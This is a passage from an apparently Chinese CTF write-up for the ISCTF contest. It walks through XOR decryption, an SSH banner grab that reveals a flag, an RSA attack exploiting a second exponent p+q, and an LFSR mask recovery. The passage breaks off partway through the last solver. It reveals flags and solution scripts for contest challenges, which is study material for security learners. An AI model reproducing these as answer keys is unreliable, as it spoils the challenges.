&#8216;U&#8217;)<\/li>\n\n\n\n<li><strong>\u89e3\u5bc6\u7b97\u6cd5<\/strong>: \u5bf9\u6bcf\u4e2a\u5b57\u8282\u6267\u884c <code>decrypted[i] = (byte)(encrypted[i] ^ key)<\/code><\/li>\n\n\n\n<li><strong>\u89e3\u5bc6\u8fc7\u7a0b<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u4f7f\u7528 XOR \u5f02\u6216\u8fd0\u7b97<\/li>\n\n\n\n<li>\u7531\u4e8e XOR \u7684\u7279\u6027\uff1a<code>(a ^ b) ^ b = a<\/code><\/li>\n\n\n\n<li>\u6240\u4ee5\u89e3\u5bc6\u65f6\u53ea\u9700\u518d\u6b21\u7528\u76f8\u540c\u5bc6\u94a5 XOR \u5373\u53ef<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">py3\u89e3\u5bc6\u811a\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def decrypt_game_over_message():\n    # \u52a0\u5bc6\u7684\u6570\u636e\n    encrypted = &#91;5, 20, 7, 1, 103, 111, 10, 18, 32, 18, 32, 10, 18, 20, 18, 20, 116, 116, 40]\n\n    # \u52a0\u5bc6\u5bc6\u94a5 (85 \u5bf9\u5e94 ASCII 'U')\n    key = 85\n\n    # \u89e3\u5bc6\u8fc7\u7a0b\uff1a\u6bcf\u4e2a\u5b57\u8282\u4e0e\u5bc6\u94a5\u8fdb\u884c XOR \u8fd0\u7b97\n    decrypted_bytes = &#91;]\n    for byte in encrypted:\n        decrypted_byte = byte ^ key\n        decrypted_bytes.append(decrypted_byte)\n\n    # \u5c06\u89e3\u5bc6\u540e\u7684\u5b57\u8282\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32\n    # \u6ce8\u610f\uff1aJava \u4e2d\u7684\u5b57\u7b26\u4e32\u53ef\u80fd\u4f7f\u7528\u5e73\u53f0\u9ed8\u8ba4\u7f16\u7801\uff08\u901a\u5e38\u662f UTF-8 \u6216\u7cfb\u7edf\u7f16\u7801\uff09\n    # \u8fd9\u91cc\u6211\u4eec\u5c1d\u8bd5\u591a\u79cd\u7f16\u7801\u65b9\u5f0f\n\n    # \u5c1d\u8bd5 UTF-8 \u89e3\u7801\n    try:\n        secret = bytes(decrypted_bytes).decode('utf-8')\n        print(f\"UTF-8 \u89e3\u7801\u7ed3\u679c: {secret}\")\n    except:\n        print(\"UTF-8 \u89e3\u7801\u5931\u8d25\")\n\n    # \u5c1d\u8bd5 GBK \u89e3\u7801\uff08\u4e2d\u6587\u7cfb\u7edf\u5e38\u89c1\uff09\n    try:\n        secret = bytes(decrypted_bytes).decode('gbk')\n        print(f\"GBK \u89e3\u7801\u7ed3\u679c: {secret}\")\n    except:\n        print(\"GBK \u89e3\u7801\u5931\u8d25\")\n\n    # \u5c1d\u8bd5 ISO-8859-1 \u89e3\u7801\uff08Latin-1\uff09\n    try:\n        secret = bytes(decrypted_bytes).decode('latin-1')\n        print(f\"Latin-1 \u89e3\u7801\u7ed3\u679c: {secret}\")\n    except:\n        print(\"Latin-1 \u89e3\u7801\u5931\u8d25\")\n\n    # \u8f93\u51fa\u539f\u59cb\u5b57\u8282\u503c\n    print(f\"n\u539f\u59cb\u52a0\u5bc6\u5b57\u8282: {encrypted}\")\n    print(f\"\u89e3\u5bc6\u540e\u5b57\u8282\u503c: {decrypted_bytes}\")\n    print(f\"\u89e3\u5bc6\u540e ASCII \u7801: {&#91;chr(b) if 32 &lt;= b &lt;= 126 else '\u975e\u6253\u5370\u5b57\u7b26' for b in decrypted_bytes]}\")\n\n    return decrypted_bytes\n\n# \u8fd0\u884c\u89e3\u5bc6\nif __name__ == \"__main__\":\n    result = decrypt_game_over_message()\n\n    # \u76f4\u63a5\u8ba1\u7b97\u89e3\u5bc6\u5b57\u7b26\u4e32\uff08\u6839\u636e Java \u4ee3\u7801\u903b\u8f91\uff09\n    encrypted = &#91;5, 20, 7, 1, 103, 111, 10, 18, 32, 18, 32, 10, 18, 20, 18, 20, 116, 116, 40]\n    key = 85\n    decrypted = bytes(&#91;b ^ key for b in encrypted])\n    print(f\"nJava String \u76f4\u63a5\u89e3\u7801\u7ed3\u679c: {decrypted.decode('utf-8')}\")<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-91-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-91-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1656\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>PART2:_GuGu_GAGA!!}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5b8c\u6574\u62fc\u63a5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{Tom0R1_Dash_GuGu_GAGA!!}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6d88\u5931\u7684flag<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-92.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"678\" height=\"934\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-92.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1657\"  sizes=\"auto, (max-width: 678px) 100vw, 678px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6709\u7528\u6237\uff0c\u8981\u8fdb\u884cssh\u94fe\u63a5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SSH-2.0-OpenSSH_8.6 \u8fd9\u4e2a\u7248\u672c\u4fe1\u606f\u641c\u96c6\u6709\u6f0f\u6d1e\uff0c\u76ee\u524d\u5df2\u77e5\u7684\u4e25\u91cd RCE \u6f0f\u6d1e\uff08\u5982 CVE-2020-14145\u3001CVE-2021-41617 \u7b49\uff09\u5927\u591a\u6d89\u53ca\u914d\u7f6e\u9519\u8bef\u6216\u6743\u9650\u95ee\u9898<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ea\u8981\u4f60\u7528 <code>ssh<\/code>\uff08\u800c\u4e0d\u662f <code>nc<\/code>\uff09\u8fde\u4e0a\u53bb\uff0c\u5b83\u5c31\u201c\u8ba4\u4e3a\u4f60\u662f\u5408\u6cd5\u5ba2\u6237\u7aef\u201d\uff0c\u4e8e\u662f\u8f93\u51fa banner \u5e76\u65ad\u5f00\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>ssh<\/code> \u5ba2\u6237\u7aef\u5728\u8fde\u63a5\u65f6\u4f1a\u5148\u53d1\u9001\u81ea\u5df1\u7684\u534f\u8bae\u7248\u672c\u5b57\u7b26\u4e32\uff08\u5982 <code>SSH-2.0-OpenSSH_9.2<\/code>\uff09\uff1b<\/li>\n\n\n\n<li>\u670d\u52a1\u7aef\u8ba4\u4e3a\u8fd9\u662f\u4e00\u4e2a\u5408\u6cd5\u7684 SSH \u5ba2\u6237\u7aef\uff0c\u4e8e\u662f\u6267\u884c\u9884\u8bbe\u903b\u8f91\uff1a\n<ul class=\"wp-block-list\">\n<li>\u6253\u5370 ASCII banner\uff08\u5176\u4e2d\u5d4c\u5165\u4e86 flag\uff09\uff1b<\/li>\n\n\n\n<li>\u7136\u540e\u7acb\u5373\u65ad\u5f00\uff08\u4e0d\u8fdb\u884c\u5bc6\u7801\u6216\u5bc6\u94a5\u8ba4\u8bc1\uff09\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh ... 2&gt;&amp;1 | tee output.txt<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\n<ul class=\"wp-block-list\">\n<li><code>2&gt;&amp;1<\/code>\uff1a\u5c06 stderr \u5408\u5e76\u5230 stdout\uff08\u56e0\u4e3a SSH banner \u6709\u65f6\u4f1a\u4ece stderr \u8f93\u51fa\uff09\uff1b<\/li>\n\n\n\n<li><code>tee<\/code>\uff1a\u540c\u65f6\u663e\u793a\u5e76\u4fdd\u5b58\u5230 <code>output.txt<\/code>\uff1b<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u7136\u540e\u7528 <code>strings output.txt<\/code> \u63d0\u53d6\u53ef\u6253\u5370\u5b57\u7b26\u4e32\uff0c<strong>\u6210\u529f\u6355\u83b7\u4e86\u5d4c\u5165\u5728 banner \u4e2d\u7684 flag<\/strong>\uff1a<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>sanjiu@localhost:~$ nc challenge.bluesharkinfo.com 24063\nSSH-2.0-OpenSSH_8.6\n\nInvalid SSH identification string.\n\nsanjiu@localhost:~$ ssh qyy@challenge.bluesharkinfo.com -p 24063\nThe authenticity of host '&#91;challenge.bluesharkinfo.com]:24063 (&#91;110.42.47.220]:24063)' can't be established.\nED25519 key fingerprint is SHA256:+QoOnyUDIk38PWfYmT2jTVqwRKFpOkJgekQf\/LP9M5o.\nThis host key is known by the following other names\/addresses:\n    ~\/.ssh\/known_hosts:1: &#91;hashed name]\n    ~\/.ssh\/known_hosts:2: &#91;hashed name]\nAre you sure you want to continue connecting (yes\/no\/&#91;fingerprint])? yes\nWarning: Permanently added '&#91;challenge.bluesharkinfo.com]:24063' (ED25519) to the list of known hosts.\n\n  ___ ____   ____ _____ _____\n |_ _\/ ___| \/ ___|_   _|  ___|\n  | |___ | |     | | | |_\n  | | ___) | |___  | | |  _|\n |___|____\/ ____| |_| |_|\n\nConnection to challenge.bluesharkinfo.com closed.\nsanjiu@localhost:~$ ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 qyy@challenge.bluesharkinfo.com -p 24063 2&gt;&amp;1 |\ntee output.txt\n\n  ___ ____   ____ _____ _____\n |_ _\/ ___| \/ ___|_   _|  ___|\n  | |___ | |     | | | |_\n  | | ___) | |___  | | |  _|\n |___|____\/ ____| |_| |_|\n\nConnection to challenge.bluesharkinfo.com closed.\nsanjiu@localhost:~$ strings output.txt\nISCTF{cf55f3b5-b051-42c4-b1a3-6bba7db8ee69}\n\n  ___ ____   ____ _____ _____\n |_ _\/ ___| \/ ___|_   _|  ___|\n  | |___ | |     | | | |_\n  | | ___) | |___  | | |  _|\n |___|____\/ ____| |_| |_|\nConnection to challenge.bluesharkinfo.com closed.\nsanjiu@localhost:~$<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-93-1024x613.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"613\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-93-1024x613.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1658\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{cf55f3b5-b051-42c4-b1a3-6bba7db8ee69}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Crypto<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">easy_RSA<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-94.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"621\" height=\"690\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-94.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1659\"  sizes=\"auto, (max-width: 621px) 100vw, 621px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Util.number import *\n\np = getPrime(1024)\n\nq = getPrime(1024)\n\nN = p*q\n\ne = 65537\n\nmsg = bytes_to_long(b\"ISCTF{dummy_flag}\")\n\nct1 = pow(msg, e, N)\n\nct2 = pow(msg, p+q, N)\n\nprint(f\"{N = }\")\n\nprint(f\"{ct1 = }\")\n\nprint(f\"{ct2 = }\")\n\n\"\"\"\nN = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617\nct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455\nct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789\n\"\"\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u5df2\u77e5\u4ee5\u4e0b\u4fe1\u606f\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>N=p\u00d7q<em>N<\/em>=<em>p<\/em>\u00d7<em>q<\/em>\uff0c\u5176\u4e2d p<em>p<\/em> \u548c q<em>q<\/em> \u662f1024\u4f4d\u7d20\u6570\u3002<\/li>\n\n\n\n<li>e=65537<em>e<\/em>=65537\u3002<\/li>\n\n\n\n<li>ct1=memod\u2009\u2009Nct1=*m*<em>e<\/em>mod<em>N<\/em>\uff0c\u5176\u4e2d m<em>m<\/em> \u662f\u6d88\u606f\uff08\u5373flag\uff09\u3002<\/li>\n\n\n\n<li>ct2=mp+qmod\u2009\u2009Nct2=*m*<em>p<\/em>+<em>q<\/em>mod<em>N<\/em>\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u6570\u5b66\u63a8\u5bfc\uff0c\u6211\u4eec\u53d1\u73b0 ct2=mN+1mod\u2009\u2009Nct2=*m*<em>N<\/em>+1mod<em>N<\/em>\uff0c\u4e14 gcd\u2061(N+1,e)=1gcd(<em>N<\/em>+1,<em>e<\/em>)=1\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u627e\u5230\u6574\u6570 a<em>a<\/em> \u548c b<em>b<\/em> \u4f7f\u5f97 a\u00d7(N+1)+b\u00d7e=1<em>a<\/em>\u00d7(<em>N<\/em>+1)+<em>b<\/em>\u00d7<em>e<\/em>=1\uff0c\u7136\u540e\u8ba1\u7b97 m=ct2a\u00d7ct1bmod\u2009\u2009N<em>m<\/em>=ct2<em>a<\/em>\u00d7ct1<em>b<\/em>mod<em>N<\/em>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5177\u4f53\u6b65\u9aa4\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u8ba1\u7b97 b=e\u22121mod\u2009\u2009(N+1)<em>b<\/em>=<em>e<\/em>\u22121mod(<em>N<\/em>+1)\u3002<\/li>\n\n\n\n<li>\u8ba1\u7b97 k=(b\u00d7e\u22121)\/\/(N+1)<em>k<\/em>=(<em>b<\/em>\u00d7<em>e<\/em>\u22121)\/\/(<em>N<\/em>+1)\uff08\u5176\u4e2d a=\u2212k<em>a<\/em>=\u2212<em>k<\/em>\uff09\u3002<\/li>\n\n\n\n<li>\u8ba1\u7b97 inv_ct2=ct2\u22121mod\u2009\u2009Ninv_ct2=ct2\u22121mod<em>N<\/em>\u3002<\/li>\n\n\n\n<li>\u8ba1\u7b97 m=inv_ct2k\u00d7ct1bmod\u2009\u2009N<em>m<\/em>=inv_ct2<em>k<\/em>\u00d7ct1<em>b<\/em>mod<em>N<\/em>\u3002<\/li>\n\n\n\n<li>\u5c06 m<em>m<\/em> \u8f6c\u6362\u4e3a\u5b57\u8282\u5b57\u7b26\u4e32\uff0c\u5373\u5f97flag\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u9898py3:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from Crypto.Util.number import long_to_bytes\n\nN = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617\nct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455\nct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789\ne = 65537\n\n# Compute N+1\nN1 = N + 1\n\n# Compute b = e^{-1} mod N1\nb = pow(e, -1, N1)\n\n# Compute k = (b * e - 1) \/\/ N1\nk = (b * e - 1) \/\/ N1\n\n# Compute inverse of ct2 modulo N\ninv_ct2 = pow(ct2, -1, N)\n\n# Compute m = inv_ct2^k * ct1^b mod N\nm = pow(inv_ct2, k, N) * pow(ct1, b, N) % N\n\n# Convert m to bytes\nflag = long_to_bytes(m)\nprint(flag.decode())<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-95.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"814\" height=\"200\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-95.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1660\"  sizes=\"auto, (max-width: 814px) 100vw, 814px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{Congratulations_you_master_Mathematical_ability}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5c0f\u84dd\u9ca8\u7684LFSR\u7cfb\u7edf<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-96.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"605\" height=\"786\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-96.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1661\"  sizes=\"auto, (max-width: 605px) 100vw, 605px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u9700\u8981\u901a\u8fc7\u5df2\u77e5\u7684\u521d\u59cb\u72b6\u6001\uff08initState\uff09\u548c\u8f93\u51fa\u72b6\u6001\uff08outputState\uff09\u6765\u63a8\u5bfc\u51fa\u63a9\u7801\uff08mask\uff09\uff0c\u7136\u540e\u4f7f\u7528\u8be5\u63a9\u7801\u751f\u6210\u5bc6\u94a5\uff0c\u89e3\u5bc6\u5bc6\u6587\uff08ciphertext\uff09\u4ee5\u83b7\u53d6flag<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u89e3\u51b3\u6b65\u9aa4\uff1a<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u89e3\u6790\u521d\u59cb\u72b6\u6001\u548c\u8f93\u51fa\u72b6\u6001<\/strong>\uff1a\u4ece<code>challenge_output.txt<\/code>\u4e2d\u83b7\u53d6<code>initState<\/code>\uff08128\u4f4d\uff09\u548c<code>outputState<\/code>\uff08256\u4f4d\uff09\u3002<\/li>\n\n\n\n<li><strong>\u6784\u5efa\u7ebf\u6027\u65b9\u7a0b\u7ec4<\/strong>\uff1a\u5bf9\u4e8e\u6bcf\u4e2a\u65f6\u95f4\u6b65<code>t<\/code>\uff080\u5230255\uff09\uff0c\u72b6\u6001<code>S_t<\/code>\u7531<code>initState<\/code>\u548c<code>outputState<\/code>\u7684\u524d<code>t<\/code>\u4f4d\u8ba1\u7b97\u5f97\u51fa\u3002\u8f93\u51fa\u4f4d<code>outputState[t]<\/code>\u662f\u72b6\u6001<code>S_t<\/code>\u4e0e\u63a9\u7801<code>m<\/code>\u7684\u70b9\u79ef\u6a212\u3002<\/li>\n\n\n\n<li><strong>\u6c42\u89e3\u63a9\u7801<\/strong>\uff1a\u4f7f\u7528\u9ad8\u65af\u6d88\u5143\u6cd5\u5728GF(2)\u4e0a\u6c42\u89e3\u7ebf\u6027\u65b9\u7a0b\u7ec4\uff0c\u5f97\u5230\u63a9\u7801<code>m<\/code>\u3002<\/li>\n\n\n\n<li><strong>\u751f\u6210\u5bc6\u94a5<\/strong>\uff1a\u5c06\u63a9\u7801<code>m<\/code>\uff08128\u4f4d\uff09\u8f6c\u6362\u4e3a16\u5b57\u8282\u7684\u5bc6\u94a5\u3002<\/li>\n\n\n\n<li><strong>\u89e3\u5bc6\u5bc6\u6587<\/strong>\uff1a\u5c06\u5bc6\u6587\uff08\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\uff09\u8f6c\u6362\u4e3a\u5b57\u8282\uff0c\u4f7f\u7528\u91cd\u590d\u7684\u5bc6\u94a5\u8fdb\u884c\u5f02\u6216\u64cd\u4f5c\uff0c\u5f97\u5230\u660e\u6587\uff08flag\uff09\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3\u9898py3\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def gf2_solve(A, b):\n    n = len(A)\n    m = len(A&#91;0])\n    M = &#91;A&#91;i] + &#91;b&#91;i]] for i in range(n)]\n    pivot_row = 0\n    for col in range(m):\n        found = -1\n        for r in range(pivot_row, n):\n            if M&#91;r]&#91;col] == 1:\n                found = r\n                break\n        if found == -1:\n            continue\n        M&#91;pivot_row], M&#91;found] = M&#91;found], M&#91;pivot_row]\n        for r in range(pivot_row + 1, n):\n            if M&#91;r]&#91;col] == 1:\n                for c in range(col, m + 1):\n                    M&#91;r]&#91;c] ^= M&#91;pivot_row]&#91;c]\n        pivot_row += 1\n        if pivot_row == m:\n            break\n    x = &#91;0] * m\n    for i in range(pivot_row - 1, -1, -1):\n        col = -1\n        for j in range(m):\n            if M&#91;i]&#91;j] == 1:\n                col = j\n                break\n        if col == -1:\n            continue\n        x&#91;col] = M&#91;i]&#91;m]\n        for j in range(col + 1, m):\n            if M&#91;i]&#91;j] == 1:\n                x&#91;col] ^= x&#91;j]\n    return x\n\ninitState = &#91;0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]\noutputState = &#91;0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 